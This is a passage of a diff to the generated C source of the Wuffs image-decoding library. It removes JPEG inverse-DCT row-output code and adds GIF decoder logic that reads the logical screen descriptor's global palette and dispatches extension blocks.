WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } -- if (0u == (v_intermediate[25u] | -- v_intermediate[26u] | -- v_intermediate[27u] | -- v_intermediate[28u] | -- v_intermediate[29u] | -- v_intermediate[30u] | -- v_intermediate[31u])) { -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[24u] + 16u)) >> 5u) & 1023u)]; -- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } else { -- v_in2 = v_intermediate[26u]; -- v_in6 = v_intermediate[30u]; -- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -- v_in0 = v_intermediate[24u]; -- v_in4 = v_intermediate[28u]; -- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -- v_in1 = v_intermediate[25u]; -- v_in3 = v_intermediate[27u]; -- v_in5 = v_intermediate[29u]; -- v_in7 = v_intermediate[31u]; -- v_ri51 = ((uint32_t)(v_in5 + v_in1)); -- v_ri53 = ((uint32_t)(v_in5 + v_in3)); -- v_ri71 = ((uint32_t)(v_in7 + v_in1)); -- v_ri73 = ((uint32_t)(v_in7 + v_in3)); -- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -- v_rk1 = ((uint32_t)(v_in1 * 12299u)); -- v_rk3 = ((uint32_t)(v_in3 * 25172u)); -- v_rk5 = ((uint32_t)(v_in5 * 16819u)); -- v_rk7 = ((uint32_t)(v_in7 * 2446u)); -- v_ri51 *= 4294964100u; -- v_ri53 *= 4294946301u; -- v_ri71 *= 4294959923u; -- v_ri73 *= 4294951227u; -- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } -- if (0u == (v_intermediate[33u] | -- v_intermediate[34u] | -- v_intermediate[35u] | -- v_intermediate[36u] | -- v_intermediate[37u] | -- v_intermediate[38u] | -- v_intermediate[39u])) { -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ iop_a_src++; -+ v_i = 0u; -+ self->private_impl.f_has_global_palette = (((uint8_t)(v_flags & 128u)) != 0u); -+ if (self->private_impl.f_has_global_palette) { -+ v_num_palette_entries = (((uint32_t)(1u)) << ((uint8_t)(1u + ((uint8_t)(v_flags & 7u))))); -+ while (v_i < v_num_palette_entries) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ uint32_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -+ t_4 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); -+ iop_a_src += 3; -+ } else { -+ self->private_data.s_decode_lsd.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_lsd.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); -+ if (num_bits_4 == 16) { -+ t_4 = ((uint32_t)(*scratch >> 40)); -+ break; -+ } -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)); -+ } -+ } -+ v_argb = t_4; -+ } -+ v_argb |= 4278190080u; -+ self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -+ self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -+ self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -+ self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -+ v_i += 1u; -+ } -+ if (self->private_impl.f_quirks[2u]) { -+ if ((v_background_color_index != 0u) && (((uint32_t)(v_background_color_index)) < v_num_palette_entries)) { -+ v_j = (4u * ((uint32_t)(v_background_color_index))); -+ self->private_impl.f_background_color_u32_argb_premul = ((((uint32_t)(self->private_data.f_palettes[0u][(v_j + 0u)])) << 0u) | -+ (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 1u)])) << 8u) | -+ (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 2u)])) << 16u) | -+ (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 3u)])) << 24u)); -+ } else { -+ self->private_impl.f_background_color_u32_argb_premul = 77u; -+ } -+ } - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[32u] + 16u)) >> 5u) & 1023u)]; -- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } else { -- v_in2 = v_intermediate[34u]; -- v_in6 = v_intermediate[38u]; -- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -- v_in0 = v_intermediate[32u]; -- v_in4 = v_intermediate[36u]; -- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -- v_in1 = v_intermediate[33u]; -- v_in3 = v_intermediate[35u]; -- v_in5 = v_intermediate[37u]; -- v_in7 = v_intermediate[39u]; -- v_ri51 = ((uint32_t)(v_in5 + v_in1)); -- v_ri53 = ((uint32_t)(v_in5 + v_in3)); -- v_ri71 = ((uint32_t)(v_in7 + v_in1)); -- v_ri73 = ((uint32_t)(v_in7 + v_in3)); -- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -- v_rk1 = ((uint32_t)(v_in1 * 12299u)); -- v_rk3 = ((uint32_t)(v_in3 * 25172u)); -- v_rk5 = ((uint32_t)(v_in5 * 16819u)); -- v_rk7 = ((uint32_t)(v_in7 * 2446u)); -- v_ri51 *= 4294964100u; -- v_ri53 *= 4294946301u; -- v_ri71 *= 4294959923u; -- v_ri73 *= 4294951227u; -- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ while (v_i < 256u) { -+ self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = 0u; -+ self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = 0u; -+ self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = 0u; -+ self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = 255u; -+ v_i += 1u; - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_lsd = 0; -+ goto exit; - } -- if (0u == (v_intermediate[41u] | -- v_intermediate[42u] | -- v_intermediate[43u] | -- v_intermediate[44u] | -- v_intermediate[45u] | -- v_intermediate[46u] | -- v_intermediate[47u])) { -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[40u] + 16u)) >> 5u) & 1023u)]; -- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } else { -- v_in2 = v_intermediate[42u]; -- v_in6 = v_intermediate[46u]; -- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -- v_in0 = v_intermediate[40u]; -- v_in4 = v_intermediate[44u]; -- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -- v_in1 = v_intermediate[41u]; -- v_in3 = v_intermediate[43u]; -- v_in5 = v_intermediate[45u]; -- v_in7 = v_intermediate[47u]; -- v_ri51 = ((uint32_t)(v_in5 + v_in1)); -- v_ri53 = ((uint32_t)(v_in5 + v_in3)); -- v_ri71 = ((uint32_t)(v_in7 + v_in1)); -- v_ri73 = ((uint32_t)(v_in7 + v_in3)); -- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -- v_rk1 = ((uint32_t)(v_in1 * 12299u)); -- v_rk3 = ((uint32_t)(v_in3 * 25172u)); -- v_rk5 = ((uint32_t)(v_in5 * 16819u)); -- v_rk7 = ((uint32_t)(v_in7 * 2446u)); -- v_ri51 *= 4294964100u; -- v_ri53 *= 4294946301u; -- v_ri71 *= 4294959923u; -- v_ri73 *= 4294951227u; -- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -- } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_lsd = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_lsd.v_flags = v_flags; -+ self->private_data.s_decode_lsd.v_background_color_index = v_background_color_index; -+ self->private_data.s_decode_lsd.v_num_palette_entries = v_num_palette_entries; -+ self->private_data.s_decode_lsd.v_i = v_i; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- if (0u == (v_intermediate[49u] | -- v_intermediate[50u] | -- v_intermediate[51u] | -- v_intermediate[52u] | -- v_intermediate[53u] | -- v_intermediate[54u] | -- v_intermediate[55u])) { -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ -+ return status; -+} -+ -+// -------- func gif.decoder.decode_extension -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_extension( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_label = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_extension; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_label = t_0; - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[48u] + 16u)) >> 5u) & 1023u)]; -- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } else { -- v_in2 = v_intermediate[50u]; -- v_in6 = v_intermediate[54u]; -- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -- v_in0 = v_intermediate[48u]; -- v_in4 = v_intermediate[52u]; -- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -- v_in1 = v_intermediate[49u]; -- v_in3 = v_intermediate[51u]; -- v_in5 = v_intermediate[53u]; -- v_in7 = v_intermediate[55u]; -- v_ri51 = ((uint32_t)(v_in5 + v_in1)); -- v_ri53 = ((uint32_t)(v_in5 + v_in3)); -- v_ri71 = ((uint32_t)(v_in7 + v_in1)); -- v_ri73 = ((uint32_t)(v_in7 + v_in3)); -- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -- v_rk1 = ((uint32_t)(v_in1 * 12299u)); -- v_rk3 = ((uint32_t)(v_in3 * 25172u)); -- v_rk5 = ((uint32_t)(v_in5 * 16819u)); -- v_rk7 = ((uint32_t)(v_in7 * 2446u)); -- v_ri51 *= 4294964100u; -- v_ri53 *= 4294946301u; -- v_ri71 *= 4294959923u; -- v_ri73 *= 4294951227u; -- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -- if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ if (v_label == 249u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ status = wuffs_gif__decoder__decode_gc(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ status = wuffs_base__make_status(NULL); -+ goto ok; -+ } else if (v_label == 255u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_gif__decoder__decode_ae(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ status = wuffs_base__make_status(NULL); -+ goto ok; - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -- } -- if (0u == (v_intermediate[57u] | -- v_intermediate[58u] | -- v_intermediate[59u] | -- v_intermediate[60u] | -- v_intermediate[61u] | -- v_intermediate[62u] | -- v_intermediate[63u])) { -- if (8u > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[56u] + 16u)) >> 5u) & 1023u)]; -- a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; -- a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; -- } else { -- v_in2 = v_intermediate[58u]; -- v_in6 = v_intermediate[62u]; -- v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); -- v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); -- v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); -- v_in0 = v_intermediate[56u]; -- v_in4 = v_intermediate[60u]; -- v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); -- v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); -- v_rd0 = ((uint32_t)(v_rcp + v_rb2)); -- v_rd1 = ((uint32_t)(v_rcm + v_rb6)); -- v_rd2 = ((uint32_t)(v_rcm - v_rb6)); -- v_rd3 = ((uint32_t)(v_rcp - v_rb2)); -- v_in1 = v_intermediate[57u]; -- v_in3 = v_intermediate[59u]; -- v_in5 = v_intermediate[61u]; -- v_in7 = v_intermediate[63u]; -- v_ri51 = ((uint32_t)(v_in5 + v_in1)); -- v_ri53 = ((uint32_t)(v_in5 + v_in3)); -- v_ri71 = ((uint32_t)(v_in7 + v_in1)); -- v_ri73 = ((uint32_t)(v_in7 + v_in3)); -- v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); -- v_rk1 = ((uint32_t)(v_in1 * 12299u)); -- v_rk3 = ((uint32_t)(v_in3 * 25172u)); -- v_rk5 = ((uint32_t)(v_in5 * 16819u)); -- v_rk7 = ((uint32_t)(v_in7 * 2446u)); -- v_ri51 *= 4294964100u; -- v_ri53 *= 4294946301u; -- v_ri71 *= 4294959923u; -- v_ri73 *= 4294951227u; -- v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -- v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -- v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -- v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -- v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -- v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -- if (8u > ((uint64_t)(a_dst_buffer.len))) { -- return wuffs_base__make_empty_struct(); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ status = wuffs_gif__decoder__skip_blocks(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; - } -- a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) 